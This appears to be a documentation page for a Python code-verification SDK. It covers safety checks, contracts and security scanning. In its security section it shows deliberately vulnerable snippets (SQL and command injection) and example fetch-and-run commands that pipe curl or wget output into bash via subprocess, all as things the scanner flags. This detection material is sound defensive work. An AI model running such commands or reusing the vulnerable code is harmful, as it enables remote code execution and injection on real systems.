Skip to main content
The Code Engine uses CrossHair, a symbolic execution tool for Python, to verify code correctness without running it.

​
Capabilities

FeatureDescription
Property VerificationVerify pre/post conditions
Safety ChecksDivision by zero, null checks
Vulnerability DetectionSQL injection, XSS
Type CheckingRuntime type violations
Boundary AnalysisEdge case detection

​
Quick Start

from qwed_sdk import QWEDClient

client = QWEDClient()

code = '''
def divide(a: int, b: int) -> float:
    return a / b
'''

result = client.verify_code(code)
print(result.verified)      # False
print(result.issues[0])     # "Division by zero possible when b=0"

​
Safety Verification

​
Division by Zero

# UNSAFE - can crash
def divide(a: int, b: int) -> float:
    return a / b

# SAFE - guarded
def divide_safe(a: int, b: int) -> float:
    if b == 0:
        raise ValueError("Cannot divide by zero")
    return a / b

result = client.verify_code(unsafe_code)
# Issues: ["Division by zero when b=0"]

result = client.verify_code(safe_code)
# Verified: True, Issues: []

​
Null Pointer / None Access

# UNSAFE
def get_name(user: Optional[User]) -> str:
    return user.name  # May crash if user is None

# SAFE
def get_name_safe(user: Optional[User]) -> str:
    if user is None:
        return "Guest"
    return user.name

​
Index Out of Bounds

# UNSAFE
def first_element(items: List[int]) -> int:
    return items[0]  # Crashes on empty list

# SAFE
def first_element_safe(items: List[int]) -> int:
    if not items:
        raise ValueError("List is empty")
    return items[0]

​
Contract Verification

​
Preconditions

code = '''
def sqrt(x: float) -> float:
    """
    pre: x >= 0
    """
    return x ** 0.5
'''

result = client.verify_code(code)
# Verifies that callers must pass x >= 0

​
Postconditions

code = '''
def abs_value(x: int) -> int:
    """
    post: __return__ >= 0
    """
    return x if x >= 0 else -x
'''

result = client.verify_code(code)
# Verifies result is always >= 0

​
Full Contract

code = '''
def binary_search(arr: List[int], target: int) -> int:
    """
    pre: arr == sorted(arr)  # Array must be sorted
    post: __return__ == -1 or arr[__return__] == target
    """
    # implementation...
'''

result = client.verify_code(code)

​
Security Scanning

​
SQL Injection

code = '''
def get_user(username: str) -> str:
    query = f"SELECT * FROM users WHERE name = '{username}'"
    return execute(query)
'''

result = client.verify_code(code, check_security=True)
# Issues: ["SQL Injection vulnerability: unsanitized input in query"]

​
Command Injection

code = '''
def run_command(user_input: str):
    os.system(f"echo {user_input}")
'''

result = client.verify_code(code, check_security=True)
# Issues: ["Command injection vulnerability"]

​
Remote code execution (pipe-to-shell)

The Code Engine detects curl or wget commands piped into a shell through subprocess. Detection uses two layers:
  1. Regex scanning matches known attack patterns across the full source text, including multi-line invocations.
  2. AST analysis catches obfuscated variants that use f-strings, list arguments, or variable interpolation.
The engine applies two severity tiers:
  • Strict match — subprocess call with curl/wget piped to bash/sh and shell=True. Message: "Remote code execution via shell=True with curl/wget pipe to shell."
  • Heuristic match — same pipe-to-shell pattern without shell=True. Message: "Suspicious curl/wget pipe-to-shell pattern detected (heuristic)."
Both tiers are reported as CRITICAL severity with issue type remote_code_execution. 
code = '''
import subprocess
subprocess.run("curl http://example.com/install.sh | bash", shell=True)
'''

result = client.verify_code(code, check_security=True)
# Issues: [{"type": "remote_code_execution", "severity": "CRITICAL"}]
In addition to pipe (|), the detection also matches commands chained with ; or &&: 
code = '''
import subprocess
subprocess.call("wget http://example.com/payload.sh && bash payload.sh", shell=True)
'''

result = client.verify_code(code, check_security=True)
# Issues: [{"type": "remote_code_execution", "severity": "CRITICAL"}]
This check covers subprocess.run, subprocess.call, subprocess.Popen, and subprocess.check_output. The AST-based analysis catches patterns that span multiple lines or use dynamic string construction such as f-strings.

​
Complexity Analysis

code = '''
def bubble_sort(arr: List[int]) -> List[int]:
    n = len(arr)
    for i in range(n):
        for j in range(n-1):
            if arr[j] > arr[j+1]:
                arr[j], arr[j+1] = arr[j+1], arr[j]
    return arr
'''

result = client.analyze_complexity(code)
print(result.complexity)      # "O(n²)"
print(result.loop_depth)      # 2
print(result.recursive)       # False

​
Language Support

LanguageSupport Level
PythonFull
JavaScriptBasic (coming)
TypeScriptBasic (coming)
SQLVia SQL Engine

​
Configuration

result = client.verify_code(
    code,
    timeout=30,              # Max verification time
    check_security=True,     # Enable security checks
    check_types=True,        # Enable type checking
    max_iterations=100       # Bounded model checking limit
)

​
Performance

Code SizeAvg Latency
< 50 lines200ms
50-200 lines500ms
> 200 lines1-5s

​
Next Steps